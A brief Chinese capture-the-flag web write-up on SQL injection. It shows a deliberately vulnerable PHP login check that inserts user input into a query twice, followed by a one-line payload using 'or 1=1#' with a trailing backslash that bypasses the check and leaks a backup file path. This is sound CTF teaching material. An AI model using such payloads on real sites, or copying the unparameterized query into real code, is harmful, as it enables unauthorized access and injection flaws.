CTF web总结--sql注入

<?php
include "common.php";

if (isset($_POST["name"])){
  $name = str_replace("'", "", trim($_POST["name"]));
  if (strlen($name) > 10){
    echo("<script>alert('too long')</script>");
  }else{
    $sql = "select count(*) count from info where username = '$name' or nickname = '$name'";

    $row = my_mysql_query($sql);

    if ($row["count"]){
      $_SESSION["rank"] = "1";
      $url = "backup_56fe708ed9f57c959fa44e313687739f.tar.gz";
      echo $url;
      header("Location: ./route.php?m=login");
      exit();
    }else{
      echo("<script>alert('go go go go ...')</script>");
    }  
  }
}
?>

构造'or 1=1#\' 即select count(*) count from info where username = ''or 1=1#\'' or nickname = ''or 1=1#\''